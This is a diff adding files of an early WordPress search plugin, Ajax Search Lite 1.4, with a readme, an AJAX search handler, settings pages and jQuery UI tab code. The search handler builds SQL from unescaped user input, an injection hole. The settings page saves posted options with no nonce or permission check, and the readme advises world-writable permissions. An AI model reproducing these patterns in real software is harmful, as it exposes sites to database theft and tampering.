+ if ( $li.hasClass( "ui-tabs-selected" ) && this.anchors.length > 1) {
11251
+ this.select( index + ( index + 1 < this.anchors.length ? 1 : -1 ) );
11252
+ }
11253
+
11254
+ o.disabled = $.map(
11255
+ $.grep( o.disabled, function(n, i) {
11256
+ return n != index;
11257
+ }),
11258
+ function( n, i ) {
11259
+ return n >= index ? --n : n;
11260
+ });
11261
+
11262
+ this._tabify();
11263
+
11264
+ this._trigger( "remove", null, this._ui( $li.find( "a" )[ 0 ], $panel[ 0 ] ) );
11265
+ return this;
11266
+ },
11267
+
11268
+ enable: function( index ) {
11269
+ index = this._getIndex( index );
11270
+ var o = this.options;
11271
+ if ( $.inArray( index, o.disabled ) == -1 ) {
11272
+ return;
11273
+ }
11274
+
11275
+ this.lis.eq( index ).removeClass( "ui-state-disabled" );
11276
+ o.disabled = $.grep( o.disabled, function( n, i ) {
11277
+ return n != index;
11278
+ });
11279
+
11280
+ this._trigger( "enable", null, this._ui( this.anchors[ index ], this.panels[ index ] ) );
11281
+ return this;
11282
+ },
11283
+
11284
+ disable: function( index ) {
11285
+ index = this._getIndex( index );
11286
+ var self = this, o = this.options;
11287
+ // cannot disable already selected tab
11288
+ if ( index != o.selected ) {
11289
+ this.lis.eq( index ).addClass( "ui-state-disabled" );
11290
+
11291
+ o.disabled.push( index );
11292
+ o.disabled.sort();
11293
+
11294
+ this._trigger( "disable", null, this._ui( this.anchors[ index ], this.panels[ index ] ) );
11295
+ }
11296
+
11297
+ return this;
11298
+ },
11299
+
11300
+ select: function( index ) {
11301
+ index = this._getIndex( index );
11302
+ if ( index == -1 ) {
11303
+ if ( this.options.collapsible && this.options.selected != -1 ) {
11304
+ index = this.options.selected;
11305
+ } else {
11306
+ return this;
11307
+ }
11308
+ }
11309
+ this.anchors.eq( index ).trigger( this.options.event + ".tabs" );
11310
+ return this;
11311
+ },
11312
+
11313
+ load: function( index ) {
11314
+ index = this._getIndex( index );
11315
+ var self = this,
11316
+ o = this.options,
11317
+ a = this.anchors.eq( index )[ 0 ],
11318
+ url = $.data( a, "load.tabs" );
11319
+
11320
+ this.abort();
11321
+
11322
+ // not remote or from cache
11323
+ if ( !url || this.element.queue( "tabs" ).length !== 0 && $.data( a, "cache.tabs" ) ) {
11324
+ this.element.dequeue( "tabs" );
11325
+ return;
11326
+ }
11327
+
11328
+ // load remote from here on
11329
+ this.lis.eq( index ).addClass( "ui-state-processing" );
11330
+
11331
+ if ( o.spinner ) {
11332
+ var span = $( "span", a );
11333
+ span.data( "label.tabs", span.html() ).html( o.spinner );
11334
+ }
11335
+
11336
+ this.xhr = $.ajax( $.extend( {}, o.ajaxOptions, {
11337
+ url: url,
11338
+ success: function( r, s ) {
11339
+ self.element.find( self._sanitizeSelector( a.hash ) ).html( r );
11340
+
11341
+ // take care of tab labels
11342
+ self._cleanup();
11343
+
11344
+ if ( o.cache ) {
11345
+ $.data( a, "cache.tabs", true );
11346
+ }
11347
+
11348
+ self._trigger( "load", null, self._ui( self.anchors[ index ], self.panels[ index ] ) );
11349
+ try {
11350
+ o.ajaxOptions.success( r, s );
11351
+ }
11352
+ catch ( e ) {}
11353
+ },
11354
+ error: function( xhr, s, e ) {
11355
+ // take care of tab labels
11356
+ self._cleanup();
11357
+
11358
+ self._trigger( "load", null, self._ui( self.anchors[ index ], self.panels[ index ] ) );
11359
+ try {
11360
+ // Passing index avoid a race condition when this method is
11361
+ // called after the user has selected another tab.
11362
+ // Pass the anchor that initiated this request allows
11363
+ // loadError to manipulate the tab content panel via $(a.hash)
11364
+ o.ajaxOptions.error( xhr, s, index, a );
11365
+ }
11366
+ catch ( e ) {}
11367
+ }
11368
+ } ) );
11369
+
11370
+ // last, so that load event is fired before show...
11371
+ self.element.dequeue( "tabs" );
11372
+
11373
+ return this;
11374
+ },
11375
+
11376
+ abort: function() {
11377
+ // stop possibly running animations
11378
+ this.element.queue( [] );
11379
+ this.panels.stop( false, true );
11380
+
11381
+ // "tabs" queue must not contain more than two elements,
11382
+ // which are the callbacks for the latest clicked tab...
11383
+ this.element.queue( "tabs", this.element.queue( "tabs" ).splice( -2, 2 ) );
11384
+
11385
+ // terminate pending requests from other tabs
11386
+ if ( this.xhr ) {
11387
+ this.xhr.abort();
11388
+ delete this.xhr;
11389
+ }
11390
+
11391
+ // take care of tab labels
11392
+ this._cleanup();
11393
+ return this;
11394
+ },
11395
+
11396
+ url: function( index, url ) {
11397
+ this.anchors.eq( index ).removeData( "cache.tabs" ).data( "load.tabs", url );
11398
+ return this;
11399
+ },
11400
+
11401
+ length: function() {
11402
+ return this.anchors.length;
11403
+ }
11404
+ });
11405
+
11406
+ $.extend( $.ui.tabs, {
11407
+ version: "1.8.20"
11408
+ });
11409
+
11410
+ /*
11411
+ * Tabs Extensions
11412
+ */
11413
+
11414
+ /*
11415
+ * Rotate
11416
+ */
11417
+ $.extend( $.ui.tabs.prototype, {
11418
+ rotation: null,
11419
+ rotate: function( ms, continuing ) {
11420
+ var self = this,
11421
+ o = this.options;
11422
+
11423
+ var rotate = self._rotate || ( self._rotate = function( e ) {
11424
+ clearTimeout( self.rotation );
11425
+ self.rotation = setTimeout(function() {
11426
+ var t = o.selected;
11427
+ self.select( ++t < self.anchors.length ? t : 0 );
11428
+ }, ms );
11429
+
11430
+ if ( e ) {
11431
+ e.stopPropagation();
11432
+ }
11433
+ });
11434
+
11435
+ var stop = self._unrotate || ( self._unrotate = !continuing
11436
+ ? function(e) {
11437
+ if (e.clientX) { // in case of a true click
11438
+ self.rotate(null);
11439
+ }
11440
+ }
11441
+ : function( e ) {
11442
+ rotate();
11443
+ });
11444
+
11445
+ // start rotation
11446
+ if ( ms ) {
11447
+ this.element.bind( "tabsshow", rotate );
11448
+ this.anchors.bind( o.event + ".tabs", stop );
11449
+ rotate();
11450
+ // stop rotation
11451
+ } else {
11452
+ clearTimeout( self.rotation );
11453
+ this.element.unbind( "tabsshow", rotate );
11454
+ this.anchors.unbind( o.event + ".tabs", stop );
11455
+ delete this._rotate;
11456
+ delete this._unrotate;
11457
+ }
11458
+
11459
+ return this;
11460
+ }
11461
+ });
11462
+ })(asljQuery);
readme.txt ADDED
@@ -0,0 +1,114 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ === Ajax Search Lite ===
2
+ Contributors: wpdreams
3
+ Donate link: http://wp-dreams.com
4
+ Tags: search, better wordpress search, better search plugin, ajax search, better search, wp search, wp search plugin, relevant search plugin, search plugin, wordpress search, advanced search, best wordpress search, ajax wordpress search, ajax search pro
5
+ Requires at least: 3.3
6
+ Tested up to: 3.5
7
+ Stable tag: 1.4
8
+ License: GPLv2 or later
9
+ License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
+
11
+ A powerful ajax search engine for WordPress.
12
+
13
+ == Description ==
14
+
15
+ A resonsive search engine, which will boost your user experience by providing a user friendly ajax powered search form. Very smooth animations with mobile device support.
16
+ Boost the user experience by providing a powerful ajax search plugin to your visitors. It will rock!
17
+
18
+ Demo: http://wp-dreams.com/ajax-search-lite/
19
+
20
+ Like us on facebook: https://www.facebook.com/pages/WPDreams/383702515034741
21
+
22
+ **Features List:**
23
+
24
+ * Search in posts and pages
25
+ * Frontend search settings boxes
26
+ * Images in search results
27
+ * Fully ajax powered
28
+ * Uses custom built jQuery for maximum compatibility
29
+ * Caches images for faster response time
30
+
31
+ Homepage: [wp-dreams.com](http://wp-dreams.com)
32
+
33
+ Pro version Demo: [Ajax Search Pro](http://wp-dreams.com/demo/wp-ajaxsearchpro)
34
+
35
+ **New In pro version 1.8 (2013.05.10):**
36
+
37
+ * Demo: [Ajax Search Pro](http://wp-dreams.com/demo/wp-ajaxsearchpro)
38
+ * Search in BuddyPress, BBPress, JigoShop, Woocommerce
39
+ * qTranslate ready
40
+ * Search result grouping by categories or post types
41
+ * Search in any custom post types
42
+ * Responsive design
43
+ * Search in custom fields
44
+ * Advanced caching technology - image precaching, search phrase caching
45
+ * Category selectors on the frontend – It’s now possible to filter the posts by categories
46
+ * Post grouping by category or post type!
47
+ * Search in comments
48
+ * 65+ Themes - Fully configurable and editable, INFINITE variations!
49
+ * 100+ Admin options
50
+
51
+ == Installation ==
52
+
53
+ 1. Upload `ajax-search-lite` to the `/wp-content/plugins/` directory
54
+ 2. Activate the plugin through the 'Plugins' menu in WordPress
55
+ 3. Place the shortcode from the settings into your template or post-page
56
+
57
+ == Frequently asked questions ==
58
+
59
+ = The images are not showing, what is wrong? =
60
+
61
+ The search parses the first image from the post/page content. Most likely there
62
+ is no image in post.
63
+
64
+ = I added images to the post/page but I still cannot see them =
65
+
66
+ Try to chmod to 777 the wp-content/plugins/ajax-search-lite/cache/ directory! All
67
+ the image files will be stored there.
68
+ Also, make sure, that the "furl open wrapper" is enabled on your server! In some cases
69
+ this feature is disabled and you need to contact the server administrator to enable it for you.
70
+
71
+ = When I type in something, the search wheel is spinning, but nothing happens =
72
+
73
+ It is most likely, that another plugin or the template is throwing errors while the
74
+ ajax request is generated. Disabling all the plugins one by one can help you rule out which plugin
75
+ is creating the issue.
76
+
77
+ = I disabled all the plugins but the search wheel is still spinning to infinity, nothing happens =
78
+
79
+ You should contact me on the support forum with your website url. I will check your website
80
+ and will let you know what to do.
81
+
82
+
83
+ == Screenshots ==
84
+
85
+ 1. Ajax Search Lite in action - 2 themes
86
+ 2. Administrator area - nice and smooth
87
+
88
+ == Changelog ==
89
+
90
+ = 1.4 =
91
+ * Security fix
92
+
93
+ = 1.3 =
94
+ * 2 brand new themes!
95
+ * Very stable custom built javascript
96
+ * Stabilised frontend and backend
97
+ * All compatibility issues fixed
98
+
99
+ = 1.2 =
100
+ * Search widget added
101
+ * Multisite fix
102
+
103
+ = 1.1 =
104
+ * Disappear bugfix
105
+ * WordPress 3.5 compatible
106
+
107
+
108
+ == Upgrade notice ==
109
+ * Nothing to say here :)
110
+
111
+
112
+ == Plugin website ==
113
+
114
+ `http://wp-dreams.com`
search.php ADDED
@@ -0,0 +1,116 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ add_action('wp_ajax_nopriv_ajaxsearchlite_search', 'ajaxsearchlite_search');
3
+ add_action('wp_ajax_ajaxsearchlite_search', 'ajaxsearchlite_search');
4
+ require_once(AJAXSEARCHLITE_PATH."/includes/imagecache.class.php");
5
+
6
+ function ajaxsearchlite_search() {
7
+ global $wpdb;
8
+ $like = "";
9
+ $s = trim($_POST['s']);
10
+ $s= preg_replace( '/\s+/', ' ', $s);
11
+ if (isset($wpdb->base_prefix)) {
12
+ $_prefix = $wpdb->base_prefix;
13
+ } else {
14
+ $_prefix = $wpdb->prefix;
15
+ }
16
+
17
+ if (get_option('asl_exactonly')!=1) {
18
+ $_s = explode(" ", $s);
19
+ }
20
+ if (isset($_POST['options'])) {
21
+ parse_str($_POST['options'], $options);
22
+ }
23
+ $limit = get_option('asl_maxresults');
24
+ $not_exactonly = (isset($options['set_exactonly'])?false:true);
25
+ $searchintitle = (isset($options['set_intitle'])?true:false);
26
+ $searchincontent = (isset($options['set_incontent'])?true:false);
27
+ $searchinposts = (isset($options['set_inposts'])?true:false);
28
+ $searchinpages = (isset($options['set_inpages'])?true:false);
29
+
30
+ if ($searchintitle) {
31
+ if ($not_exactonly) {
32
+ $sr = implode("%' OR lower($wpdb->posts.post_title) like '%",$_s);
33
+ $sr = " lower($wpdb->posts.post_title) like '%".$sr."%'";
34
+ } else {
35
+ $sr = " lower($wpdb->posts.post_title) like '%".$s."%'";
36
+ }
37
+ $like .= $sr;
38
+ }
39
+
40
+ if ($searchincontent) {
41
+ if ($not_exactonly) {
42
+ $sr = implode("%' OR lower($wpdb->posts.post_content) like '%",$_s);
43
+ if ($like!="") {
44
+ $sr = " OR lower($wpdb->posts.post_content) like '%".$sr."%'";
45
+ } else {
46
+ $sr = " lower($wpdb->posts.post_content) like '%".$sr."%'";
47
+ }
48
+ } else {
49
+ if ($like!="") {
50
+ $sr = " OR lower($wpdb->posts.post_content) like '%".$s."%'";
51
+ } else {
52
+ $sr = " lower($wpdb->posts.post_content) like '%".$s."%'";
53
+ }
54
+ }
55
+ $like .= $sr;
56
+ }
57
+
58
+
59
+ if ($searchinposts) {
60
+ $where = " $wpdb->posts.post_type='post'";
61
+ }
62
+
63
+ if ($searchinpages) {
64
+ if ($where!="")
65
+ $where.= " OR $wpdb->posts.post_type='page'";
66
+ else
67
+ $where.= "$wpdb->posts.post_type='page'";
68
+ }
69
+
70
+ if ($where=="") {
71
+ $where = "$wpdb->posts.post_type=''";
72
+ }
73
+ $orderby = get_option('asl_orderby_select');
74
+ $s=strtolower(addslashes($_POST['s']));
75
+ $querystr = "
76
+ SELECT
77
+ $wpdb->posts.post_title as title,
78
+ $wpdb->posts.ID as id,
79
+ $wpdb->posts.post_date as date,
80
+ $wpdb->posts.post_content as content,
81
+ $wpdb->posts.post_excerpt as excerpt,
82
+ $wpdb->users.user_nicename as author
83
+ FROM $wpdb->posts
84
+ LEFT JOIN $wpdb->users ON $wpdb->users.ID = $wpdb->posts.post_author
85
+ LEFT JOIN $wpdb->term_relationships ON $wpdb->posts.ID = $wpdb->term_relationships.object_id
86
+ LEFT JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
87
+ LEFT JOIN $wpdb->terms ON $wpdb->term_taxonomy.term_id = $wpdb->terms.term_id
88
+ WHERE
89
+ ($wpdb->posts.post_status='publish' $searchin) AND
90
+ (".$where.")
91
+ AND (".$like.")
92
+ GROUP BY
93
+ $wpdb->posts.ID
94
+ ORDER BY ".$wpdb->posts.".".$orderby."
95
+ LIMIT $limit;
96
+ ";
97
+ $pageposts = $wpdb->get_results($querystr, OBJECT);
98
+ foreach ($pageposts as $k=>$v) {
99
+ $pageposts[$k]->link = get_permalink($v->id);
100
+ $img = new wpdreamsImageCache($v->content, AJAXSEARCHLITE_PATH.DIRECTORY_SEPARATOR."cache".DIRECTORY_SEPARATOR, 70, 70, 1);
101
+ $res = $img->get_image();
102
+ if ($res!='') {
103
+ $pageposts[$k]->image = plugins_url('/cache/'.$res , __FILE__);
104
+ }
105
+ if ($pageposts[$k]->content!='')
106
+ $pageposts[$k]->content = substr(strip_tags($pageposts[$k]->content), 0, 130)."...";
107
+ }
108
+
109
+ $results = $pageposts;
110
+
111
+ print_r(json_encode($results));
112
+ die();
113
+ }
114
+
115
+
116
+ ?>
settings.php ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
1
+ <div class="wrap" id="wpdreams">
2
+ <?php
3
+ require_once(AJAXSEARCHLITE_PATH."/settings/search.php");
4
+ ?>
5
+ </div>
settings/default_options.php ADDED
@@ -0,0 +1,68 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /* Default options */
3
+ $_search_default = array();
4
+
5
+ $_search_default['asl_theme'] = "
6
+ Minimal|style.css;
7
+ Dashed Blue|style-dashedblue.css||
8
+ style.css
9
+ ";
10
+ $_search_default['asl_theme_select'] = "style.css";
11
+
12
+ $_search_default['asl_searchinposts'] = 1;
13
+ $_search_default['asl_searchinpages'] = 1;
14
+ $_search_default['asl_searchintitle'] = 1;
15
+ $_search_default['asl_searchincontent'] = 1;
16
+ $_search_default['asl_searchinexcerpt'] = 1;
17
+ $_search_default['asl_exactonly'] = 0;
18
+
19
+ $_search_default['asl_charcount'] = 3;
20
+ $_search_default['asl_maxresults'] = 30;
21
+ $_search_default['asl_itemscount'] = 4;
22
+
23
+ $_search_default['asl_orderby'] = "
24
+ Title descending|post_title DESC;
25
+ Title ascending|post_title ASC;
26
+ Date descending|post_date DESC;
27
+ Date ascending|post_date ASC||
28
+ post_date DESC
29
+ ";
30
+ $_search_default['asl_orderby_select'] = "post_date DESC";
31
+
32
+
33
+ /* Frontend search settings Options */
34
+ $_search_default['asl_showexactmatches'] = 1;
35
+ $_search_default['asl_showsearchinposts'] = 1;
36
+ $_search_default['asl_showsearchinpages'] = 1;
37
+ $_search_default['asl_showsearchintitle'] = 1;
38
+ $_search_default['asl_showsearchincontent'] = 1;
39
+ $_search_default['asl_showsearchinexcerpt'] = 1;
40
+
41
+ $_search_default['asl_exactmatchestext'] = "Exact matches only";
42
+ $_search_default['asl_searchinpoststext'] = "Search in posts";
43
+ $_search_default['asl_searchinpagestext'] = "Search in pages";
44
+ $_search_default['asl_searchintitletext'] = "Search in title";
45
+ $_search_default['asl_searchincontenttext'] = "Search in content";
46
+ $_search_default['asl_searchinexcerpttext'] = "Search in excerpt";
47
+
48
+ $_search_default['asl_resultareaclickable'] = 0;
49
+ $_search_default['asl_showauthor'] = 1;
50
+ $_search_default['asl_showdate'] = 1;
51
+ $_search_default['asl_showdescription'] = 1;
52
+ $_search_default['asl_descriptionlength'] = 100;
53
+ $_search_default['asl_noresultstext'] = "No results!";
54
+ $_search_default['asl_didyoumeantext'] = "Did you mean:";
55
+ $_search_default['asl_highlight'] = 1;
56
+ $_search_default['asl_highlightwholewords'] = 1;
57
+
58
+ $_search_default['asl_showauthor'] = 1;
59
+ $_search_default['asl_showdate'] = 1;
60
+ $_search_default['asl_showdescription'] = 1;
61
+ $_search_default['asl_descriptionlength'] = 130;
62
+
63
+ /* Save the defaul options if not exist */
64
+ foreach($_search_default as $key=>$value) {
65
+ if (get_option($key)===false)
66
+ update_option($key, $value);
67
+ }
68
+ ?>
settings/search.php ADDED
@@ -0,0 +1,119 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php ob_start(); ?>
2
+ <fieldset>
3
+ <legend>Genearal Options</legend>
4
+ <div class="item"><?php
5
+ $o = new wpdreamsSelect("asl_theme", "Theme", postval_or_getoption('asl_theme'));
6
+ ?></div>
7
+ <div class="item">
8
+ <?php
9
+ $o = new wpdreamsYesNo("asl_searchinposts", "Search in posts?", postval_or_getoption('asl_searchinposts'));
10
+ ?>
11
+ </div>
12
+ <div class="item">
13
+ <?php
14
+ $o = new wpdreamsYesNo("asl_searchinpages", "Search in pages?", postval_or_getoption('asl_searchinpages'));
15
+ ?>
16
+ </div>
17
+ <div class="item">
18
+ <?php
19
+ $o = new wpdreamsYesNo("asl_searchintitle", "Search in title?", postval_or_getoption('asl_searchintitle'));
20
+ ?>
21
+ </div>
22
+ <div class="item">
23
+ <?php
24
+ $o = new wpdreamsYesNo("asl_searchincontent", "Search in content?", postval_or_getoption('asl_searchincontent'));
25
+ ?>
26
+ </div>
27
+
28
+ <div class="item">
29
+ <?php
30
+ $o = new wpdreamsYesNo("asl_exactonly", "Show exact matches only?", postval_or_getoption('asl_exactonly'));
31
+ ?>
32
+ </div>
33
+ <div class="item"><?php
34
+ $o = new wpdreamsSelect("asl_orderby", "Result ordering", postval_or_getoption('asl_orderby'));
35
+ ?></div>
36
+ <div class="item"><?php
37
+ $o = new wpdreamsTextSmall("asl_charcount", "Minimal character count to trigger search", postval_or_getoption('asl_charcount'), array( array("func"=>"ctype_digit", "op"=>"eq", "val"=>true) ));
38
+ ?></div>
39
+ <div class="item"><?php
40
+ $o = new wpdreamsTextSmall("asl_maxresults", "Max. results", postval_or_getoption('asl_maxresults'), array( array("func"=>"ctype_digit", "op"=>"eq", "val"=>true) ));
41
+ ?></div>
42
+ <div class="item"><?php
43
+ $o = new wpdreamsTextSmall("asl_itemscount", "Results box viewport (in item numbers)", postval_or_getoption('asl_itemscount'), array( array("func"=>"ctype_digit", "op"=>"eq", "val"=>true) ));
44
+ ?></div>
45
+ </fieldset>
46
+ <fieldset>
47
+ <legend>Frontend Search Settings options</legend>
48
+ <div class="item" style="text-align:center;">
49
+ The default values of the checkboxes on the frontend are the values set above.
50
+ </div>
51
+ <div class="item">
52
+ <?php
53
+ $o = new wpdreamsYesNo("asl_showexactmatches", "Show exact matches selector?", postval_or_getoption('asl_showexactmatches'));
54
+ $o = new wpdreamsText("asl_exactmatchestext", "Text", postval_or_getoption('asl_exactmatchestext'));
55
+ ?></div>
56
+ <div class="item">
57
+ <?php
58
+ $o = new wpdreamsYesNo("asl_showsearchinposts", "Show search in posts selector?", postval_or_getoption('asl_showsearchinposts'));
59
+ $o = new wpdreamsText("asl_searchinpoststext", "Text", postval_or_getoption('asl_searchinpoststext'));
60
+ ?></div>
61
+ <div class="item">
62
+ <?php
63
+ $o = new wpdreamsYesNo("asl_showsearchinpages", "Show search in pages selector?", postval_or_getoption('asl_showsearchinpages'));
64
+ $o = new wpdreamsText("asl_searchinpagestext", "Text", postval_or_getoption('asl_searchinpagestext'));
65
+ ?></div>
66
+ </fieldset>
67
+ <fieldset>
68
+ <legend>Layout Options</legend>
69
+ <div class="item">
70
+ <?php
71
+ $o = new wpdreamsYesNo("asl_resultareaclickable", "Make the whole result area clickable?", postval_or_getoption('asl_resultareaclickable'));
72
+ ?>
73
+ </div>
74
+ <div class="item">
75
+ <?php
76
+ $o = new wpdreamsYesNo("asl_showauthor", "Show author in results?", postval_or_getoption('asl_showauthor'));
77
+ ?>
78
+ </div>
79
+ <div class="item">
80
+ <?php
81
+ $o = new wpdreamsYesNo("asl_showdate", "Show date in results?", postval_or_getoption('asl_showdate'));
82
+ ?>
83
+ </div>
84
+ </fieldset>
85
+ <?php $_r = ob_get_clean(); ?>
86
+ <?php
87
+ $updated = false;
88
+ $err = ((wpdreamsType::getErrorNum()==0)?false:true);
89
+
90
+ if (isset($_POST) && !$err) {
91
+ foreach($_POST as $key=>$value) {
92
+ if (is_string($key) && (strpos($key, 'asl_')==0)) {
93
+ update_option($key, $value);
94
+ $updated = true;
95
+ }
96
+ }
97
+ }
98
+ ?>
99
+ <div class="wpdreams-slider moveable">
100
+ <div class="slider-info">
101
+ <span>
102
+ <label class="shortcode">Search shortcode:</label>
103
+ <input type="text" class="shortcode" value="[wpdreams_ajaxsearchlite]" readonly="readonly" />
104
+ <?php new wpdreamsInfo("Copy this shortcode to any page or post!"); ?>
105
+ <label class="shortcode">Search shortcode for templates:</label>
106
+ <input type="text" class="shortcode" value="echo do_shortcode('[wpdreams_ajaxsearchlite');" readonly="readonly" />
107
+ <?php new wpdreamsInfo("Copy this shortcode into your template!"); ?>
108
+ </span>
109
+ </div>
110
+ <hr />
111
+ <form name="polaroid_slider_<?php echo $search['id']; ?>" action="" method="POST">
112
+ <?php if($err): ?><div class='errorMsg'>Error in settings, check the values!</div><?php endif; ?>
113
+ <?php if($updated): ?><div class='successMsg'>Settings succesfully updated!</div><?php endif; ?>
114
+ <?php print $_r; ?>
115
+ <div class="item">
116
+ <input name="submit_<?php echo $search['id']; ?>" type="submit" value="Save this search!" />
117
+ </div>
118
+ </form>
119
+ </div>
settings/types.class.php ADDED
@@ -0,0 +1,1406 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ if (!class_exists("wpdreamsType")) {
3
